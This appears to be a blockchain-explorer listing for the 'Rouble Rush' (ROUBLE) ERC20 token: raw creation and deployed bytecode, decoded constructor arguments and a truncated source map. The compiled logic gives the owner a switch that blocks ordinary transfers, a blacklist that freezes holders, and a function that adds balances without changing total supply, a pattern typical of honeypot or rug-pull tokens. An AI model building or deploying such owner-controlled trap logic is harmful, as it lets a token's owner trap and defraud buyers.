76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61186681611a8d565b82525050565b61187581611a97565b82525050565b600060208201905061189060008301846116a0565b92915050565b60006020820190506118ab60008301846116af565b92915050565b600060208201905081810360008301526118cb81846116be565b905092915050565b600060208201905081810360008301526118ec816116f7565b9050919050565b6000602082019050818103600083015261190c8161175d565b9050919050565b6000602082019050818103600083015261192c8161179d565b9050919050565b6000602082019050818103600083015261194c816117dd565b9050919050565b6000602082019050818103600083015261196c816117f7565b9050919050565b6000602082019050611988600083018461185d565b92915050565b60006020820190506119a3600083018461186c565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119d082611a8d565b91506119db83611a8d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a1057611a0f611b09565b5b828201905092915050565b6000611a2682611a8d565b9150611a3183611a8d565b925082821015611a4457611a43611b09565b5b828203905092915050565b6000611a5a82611a6d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611ac2578082015181840152602081019050611aa7565b83811115611ad1576000848401525b50505050565b60006002820490506001821680611aef57607f821691505b60208210811415611b0357611b02611b38565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611b8181611a4f565b8114611b8c57600080fd5b50565b611b9881611a8d565b8114611ba357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cdc5c0e92be167d2a7b2cfea6b97bb8fad57346be30efc8eaa5edd7ad98d068064736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000006c6b935b8bbd400000000000000000000000000000000000000000000000000000000000000000000b526f75626c6520527573680000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006524f55424c450000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb1461030c578063ad596bb41461033c578063bb806dc91461036c578063dd62ed3e14610376578063ea2f0b37146103a657610121565b806370a0823114610266578063715018a6146102965780638f84aa09146102a057806395d89b41146102be578063a457c2d7146102dc57610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e05780633177029f146101fe578063395093511461021a5780634355b9d21461024a57610121565b806306fdde0314610126578063095ea7b314610144578063158ef93e1461017457806318160ddd14610192575b600080fd5b61012e6103c2565b60405161013b91906118b1565b60405180910390f35b61015e60048036038101906101599190611664565b610454565b60405161016b9190611896565b60405180910390f35b61017c610472565b6040516101899190611896565b60405180910390f35b61019a610489565b6040516101a79190611973565b60405180910390f35b6101ca60048036038101906101c59190611615565b610493565b6040516101d79190611896565b60405180910390f35b6101e861056c565b6040516101f5919061198e565b60405180910390f35b61021860048036038101906102139190611664565b610583565b005b610234600480360381019061022f9190611664565b6106b1565b6040516102419190611896565b60405180910390f35b610264600480360381019061025f91906115b0565b610764565b005b610280600480360381019061027b91906115b0565b610854565b60405161028d9190611973565b60405180910390f35b61029e61089d565b005b6102a86109f1565b6040516102b5919061187b565b60405180910390f35b6102c6610a1b565b6040516102d391906118b1565b60405180910390f35b6102f660048036038101906102f19190611664565b610aad565b6040516103039190611896565b60405180910390f35b61032660048036038101906103219190611664565b610b7a565b6040516103339190611896565b60405180910390f35b610356600480360381019061035191906115b0565b610b98565b6040516103639190611896565b60405180910390f35b610374610bee565b005b610390600480360381019061038b91906115d9565b610ce0565b60405161039d9190611973565b60405180910390f35b6103c060048036038101906103bb91906115b0565b610d67565b005b6060600680546103d190611ad7565b80601f01602080910402602001604051908101604052809291908181526020018280546103fd90611ad7565b801561044a5780601f1061041f5761010080835404028352916020019161044a565b820191906000526020600020905b81548152906001019060200180831161042d57829003601f168201915b5050505050905090565b6000610468610461610eb5565b8484610ebd565b6001905092915050565b6000600560009054906101000a900460ff16905090565b6000600954905090565b60006104a0848484611088565b610561846104ac610eb5565b61055c85604051806060016040528060288152602001611ba760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610512610eb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49092919063ffffffff16565b610ebd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b61058b610eb5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060f90611913565b60405180910390fd5b61066a81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5790919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600061075a6106be610eb5565b8461075585600460006106cf610eb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5790919063ffffffff16565b610ebd565b6001905092915050565b61076c610eb5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f090611913565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108a5610eb5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092990611913565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610a2a90611ad7565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5690611ad7565b8015610aa35780601f10610a7857610100808354040283529160200191610aa3565b820191906000526020600020905b815481529060010190602001808311610a8657829003601f168201915b5050505050905090565b6000610b70610aba610eb5565b84610b6b85604051806060016040528060258152602001611bcf6025913960046000610ae4610eb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49092919063ffffffff16565b610ebd565b6001905092915050565b6000610b8e610b87610eb5565b8484611088565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610bf6610eb5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7a90611913565b60405180910390fd5b6001600560006101000a81548160ff021916908315150217905515610cc2576000600560006101000a81548160ff021916908315150217905550610cde565b6001600560006101000a81548160ff0219169083151502179055505b565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d6f610eb5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df390611913565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000808284610e6691906119c5565b905083811015610eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea2906118f3565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2490611953565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f94906118d3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161107b9190611973565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ef90611933565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90611933565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112095750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112525760008114611251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124890611933565b60405180910390fd5b5b60011515600560009054906101000a900460ff16151514806112a65750611277611558565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112e357506112b4611558565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611498576112f3838383611581565b6113568160405180602001604052806000815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49092919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113eb81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5790919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161148b9190611973565b60405180910390a36114ef565b60011515600560009054906101000a900460ff161515146114ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e590611933565b60405180910390fd5b5b505050565b600083831115829061153c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153391906118b1565b60405180910390fd5b506000838561154b9190611a1b565b9050809150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b60008135905061159581611b78565b92915050565b6000813590506115aa81611b8f565b92915050565b6000602082840312156115c257600080fd5b60006115d084828501611586565b91505092915050565b600080604083850312156115ec57600080fd5b60006115fa85828601611586565b925050602061160b85828601611586565b9150509250929050565b60008060006060848603121561162a57600080fd5b600061163886828701611586565b935050602061164986828701611586565b925050604061165a8682870161159b565b9150509250925092565b6000806040838503121561167757600080fd5b600061168585828601611586565b92505060206116968582860161159b565b9150509250929050565b6116a981611a4f565b82525050565b6116b881611a61565b82525050565b60006116c9826119a9565b6116d381856119b4565b93506116e3818560208601611aa4565b6116ec81611b67565b840191505092915050565b60006117046022836119b4565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061176a601b836119b4565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006117aa6020836119b4565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006117ea6000836119b4565b9150600082019050919050565b60006118046024836119b4565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61186681611a8d565b82525050565b61187581611a97565b82525050565b600060208201905061189060008301846116a0565b92915050565b60006020820190506118ab60008301846116af565b92915050565b600060208201905081810360008301526118cb81846116be565b905092915050565b600060208201905081810360008301526118ec816116f7565b9050919050565b6000602082019050818103600083015261190c8161175d565b9050919050565b6000602082019050818103600083015261192c8161179d565b9050919050565b6000602082019050818103600083015261194c816117dd565b9050919050565b6000602082019050818103600083015261196c816117f7565b9050919050565b6000602082019050611988600083018461185d565b92915050565b60006020820190506119a3600083018461186c565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119d082611a8d565b91506119db83611a8d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a1057611a0f611b09565b5b828201905092915050565b6000611a2682611a8d565b9150611a3183611a8d565b925082821015611a4457611a43611b09565b5b828203905092915050565b6000611a5a82611a6d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611ac2578082015181840152602081019050611aa7565b83811115611ad1576000848401525b50505050565b60006002820490506001821680611aef57607f821691505b60208210811415611b0357611b02611b38565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611b8181611a4f565b8114611b8c57600080fd5b50565b611b9881611a8d565b8114611ba357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cdc5c0e92be167d2a7b2cfea6b97bb8fad57346be30efc8eaa5edd7ad98d068064736f6c63430008000033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000006c6b935b8bbd400000000000000000000000000000000000000000000000000000000000000000000b526f75626c6520527573680000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006524f55424c450000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Rouble Rush
Arg [1] : symbol_ (string): ROUBLE
Arg [2] : totalSupply_ (uint256): 2000000000000000000000
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000006c6b935b8bbd400000
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [4] : 526f75626c652052757368000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [6] : 524f55424c450000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
3013:7718:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4005:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6090:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5875:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4728:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7091:321;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4580:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8032:146;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7721:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6322:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4891:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1501:155:1;;;:::i;:::-;;1218:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4207:87:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8452:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5207:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6675:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5664:120;;;:::i;:::-;;5445:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6495:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4005:83;4042:13;4075:5;4068:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4005:83;:::o;6090:169::-;6173:4;6190:39;6199:12;:10;:12::i;:::-;6213:7;6222:6;6190:8;:39::i;:::-;6247:4;6240:11;;6090:169;;;;:::o;5875:84::-;5919:4;5943:8;;;;;;;;;;;5936:15;;5875:84;:::o;4728:100::-;4781:7;4808:12;;4801:19;;4728:100;:::o;7091:321::-;7197:4;7214:36;7224:6;7232:9;7243:6;7214:9;:36::i;:::-;7261:121;7270:6;7278:12;:10;:12::i;:::-;7292:89;7330:6;7292:89;;;;;;;;;;;;;;;;;:11;:19;7304:6;7292:19;;;;;;;;;;;;;;;:33;7312:12;:10;:12::i;:::-;7292:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7261:8;:121::i;:::-;7400:4;7393:11;;7091:321;;;;;:::o;4580:83::-;4621:5;4646:9;;;;;;;;;;;4639:16;;4580:83;:::o;8032:146::-;1064:12:1;:10;:12::i;:::-;1054:22;;:6;;;;;;;;;;:22;;;1046:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8140:30:2::1;8163:6;8140:9;:18;8150:7;8140:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;8119:9;:18;8129:7;8119:18;;;;;;;;;;;;;;;:51;;;;8032:146:::0;;:::o;7721:218::-;7809:4;7826:83;7835:12;:10;:12::i;:::-;7849:7;7858:50;7897:10;7858:11;:25;7870:12;:10;:12::i;:::-;7858:25;;;;;;;;;;;;;;;:34;7884:7;7858:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7826:8;:83::i;:::-;7927:4;7920:11;;7721:218;;;;:::o;6322:113::-;1064:12:1;:10;:12::i;:::-;1054:22;;:6;;;;;;;;;;:22;;;1046:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6423:4:2::1;6395:16;:25;6412:7;6395:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;6322:113:::0;:::o;4891:119::-;4957:7;4984:9;:18;4994:7;4984:18;;;;;;;;;;;;;;;;4977:25;;4891:119;;;:::o;1501:155:1:-;1064:12;:10;:12::i;:::-;1054:22;;:6;;;;;;;;;;:22;;;1046:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1608:1:::1;1571:40;;1592:6;::::0;::::1;;;;;;;;1571:40;;;;;;;;;;;;1646:1;1622:13;;:26;;;;;;;;;;;;;;;;;;1501:155::o:0;1218:93::-;1263:7;1290:13;;;;;;;;;;;1283:20;;1218:93;:::o;4207:87:2:-;4246:13;4279:7;4272:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4207:87;:::o;8452:269::-;8545:4;8562:129;8571:12;:10;:12::i;:::-;8585:7;8594:96;8633:15;8594:96;;;;;;;;;;;;;;;;;:11;:25;8606:12;:10;:12::i;:::-;8594:25;;;;;;;;;;;;;;;:34;8620:7;8594:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8562:8;:129::i;:::-;8709:4;8702:11;;8452:269;;;;:::o;5207:175::-;5293:4;5310:42;5320:12;:10;:12::i;:::-;5334:9;5345:6;5310:9;:42::i;:::-;5370:4;5363:11;;5207:175;;;;:::o;6675:117::-;6735:4;6759:16;:25;6776:7;6759:25;;;;;;;;;;;;;;;;;;;;;;;;;6752:32;;6675:117;;;:::o;5664:120::-;1064:12:1;:10;:12::i;:::-;1054:22;;:6;;;;;;;;;;:22;;;1046:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5728:4:2::1;5717:8;;:15;;;;;;;;;;;;;;;;;5713:64;;;5746:5;5735:8;;:16;;;;;;;;;;;;;;;;;;5713:64;;;5771:4;5760:8;;:15;;;;;;;;;;;;;;;;;;5713:64;5664:120::o:0;5445:151::-;5534:7;5561:11;:18;5573:5;5561:18;;;;;;;;;;;;;;;:27;5580:7;5561:27;;;;;;;;;;;;;;;;5554:34;;5445:151;;;;:::o;6495:111::-;1064:12:1;:10;:12::i;:::-;1054:22;;:6;;;;;;;;;;:22;;;1046:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6593:5:2::1;6565:16;:25;6582:7;6565:25;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;6495:111:::0;:::o;623:181:3:-;681:7;701:9;717:1;713;:5;;;;:::i;:::-;701:17;;742:1;737;:6;;729:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;795:1;788:8;;;623:181;;;;:::o;479:98:0:-;532:7;559:10;552:17;;479:98;:::o;9858:345:2:-;9977:1;9960:19;;:5;:19;;;;9952:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10058:1;10039:21;;:7;:21;;;;10031:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10142:6;10112:11;:18;10124:5;10112:18;;;;;;;;;;;;;;;:27;10131:7;10112:27;;;;;;;;;;;;;;;:36;;;;10179:7;10163:32;;10172:5;10163:32;;;10188:6;10163:32;;;;;;:::i;:::-;;;;;;;;9858:345;;;:::o;8992:641::-;9116:1;9098:20;;:6;:20;;;;9090:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;9154:1;9133:23;;:9;:23;;;;9125:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;9176:16;:24;9193:6;9176:24;;;;;;;;;;;;;;;;;;;;;;;;;:55;;;;9204:16;:27;9221:9;9204:27;;;;;;;;;;;;;;;;;;;;;;;;;9176:55;9172:86;;;9252:1;9242:6;:11;9233:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;9172:86;9285:4;9273:16;;:8;;;;;;;;;;;:16;;;:37;;;;9303:7;:5;:7::i;:::-;9293:17;;:6;:17;;;9273:37;:61;;;;9327:7;:5;:7::i;:::-;9314:20;;:9;:20;;;9273:61;9269:357;;;9347:47;9368:6;9376:9;9387:6;9347:20;:47::i;:::-;9425:33;9447:6;9425:33;;;;;;;;;;;;:9;:17;9435:6;9425:17;;;;;;;;;;;;;;;;:21;;:33;;;;;:::i;:::-;9405:9;:17;9415:6;9405:17;;;;;;;;;;;;;;;:53;;;;9492:32;9517:6;9492:9;:20;9502:9;9492:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9469:9;:20;9479:9;9469:20;;;;;;;;;;;;;;;:55;;;;9557:9;9540:35;;9549:6;9540:35;;;9568:6;9540:35;;;;;;:::i;:::-;;;;;;;;9269:357;;;9615:4;9603:16;;:8;;;;;;;;;;;:16;;;9594:30;;;;;;;;;;;;:::i;:::-;;;;;;;;;9269:357;8992:641;;;:::o;1372:192:3:-;1458:7;1491:1;1486;:6;;1494:12;1478:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1518:9;1534:1;1530;:5;;;;:::i;:::-;1518:17;;1555:1;1548:8;;;1372:192;;;;;:::o;840:81:1:-;880:7;907:6;;;;;;;;;;;900:13;;840:81;:::o;10636:92:2:-;;;;:::o;7:139:4:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:118::-;2036:24;2054:5;2036:24;:::i;:::-;2031:3;2024:37;2014:53;;:::o;2073:109::-;2154:21;2169:5;2154:21;:::i;:::-;2149:3;2142:34;2132:50;;:::o;2188:364::-;;2304:39;2337:5;2304:39;:::i;:::-;2359:71;2423:6;2418:3;2359:71;:::i;:::-;2352:78;;2439:52;2484:6;2479:3;2472:4;2465:5;2461:16;2439:52;:::i;:::-;2516:29;2538:6;2516:29;:::i;:::-;2511:3;2507:39;2500:46;;2280:272;;;;;:::o;2558:366::-;;2721:67;2785:2;2780:3;2721:67;:::i;:::-;2714:74;;2818:34;2814:1;2809:3;2805:11;2798:55;2884:4;2879:2;2874:3;2870:12;2863:26;2915:2;2910:3;2906:12;2899:19;;2704:220;;;:::o;2930:325::-;;3093:67;3157:2;3152:3;3093:67;:::i;:::-;3086:74;;3190:29;3186:1;3181:3;3177:11;3170:50;3246:2;3241:3;3237:12;3230:19;;3076:179;;;:::o;3261:330::-;;3424:67;3488:2;3483:3;3424:67;:::i;:::-;3417:74;;3521:34;3517:1;3512:3;3508:11;3501:55;3582:2;3577:3;3573:12;3566:19;;3407:184;;;:::o;3597:263::-;;3760:66;3824:1;3819:3;3760:66;:::i;:::-;3753:73;;3852:1;3847:3;3843:11;3836:18;;3743:117;;;:::o;3866:368::-;;4029:67;4093:2;4088:3;4029:67;:::i;:::-;4022:74;;4126:34;4122:1;4117:3;4113:11;4106:55;4192:6;4187:2;4182:3;4178:12;4171:28;4225:2;4220:3;4216:12;4209:19;;4012:222;;;:::o;4240:118::-;4327:24;4345:5;4327:24;:::i;:::-;4322:3;4315:37;4305:53;;:::o;4364:112::-;4447:22;4463:5;4447:22;:::i;:::-;4442:3;4435:35;4425:51;;:::o;4482:222::-;;4613:2;4602:9;4598:18;4590:26;;4626:71;4694:1;4683:9;4679:17;4670:6;4626:71;:::i;:::-;4580:124;;;;:::o;4710:210::-;;4835:2;4824:9;4820:18;4812:26;;4848:65;4910:1;4899:9;4895:17;4886:6;4848:65;:::i;:::-;4802:118;;;;:::o;4926:313::-;;5077:2;5066:9;5062:18;5054:26;;5126:9;5120:4;5116:20;5112:1;5101:9;5097:17;5090:47;5154:78;5227:4;5218:6;5154:78;:::i;:::-;5146:86;;5044:195;;;;:::o;5245:419::-;;5449:2;5438:9;5434:18;5426:26;;5498:9;5492:4;5488:20;5484:1;5473:9;5469:17;5462:47;5526:131;5652:4;5526:131;:::i;:::-;5518:139;;5416:248;;;:::o;5670:419::-;;5874:2;5863:9;5859:18;5851:26;;5923:9;5917:4;5913:20;5909:1;5898:9;5894:17;5887:47;5951:131;6077:4;5951:131;:::i;:::-;5943:139;;5841:248;;;:::o;6095:419::-;;6299:2;6288:9;6284:18;6276:26;;6348:9;6342:4;6338:20;6334:1;6323:9;6319:17;6312:47;6376:131;6502:4;6376:131;:::i;:::-;6368:139;;6266:248;;;:::o;6520:419::-;;6724:2;6713:9;6709:18;6701:26;;6773:9;6767:4;6763:20;6759:1;6748:9;6744:17;6737:47;6801:131;6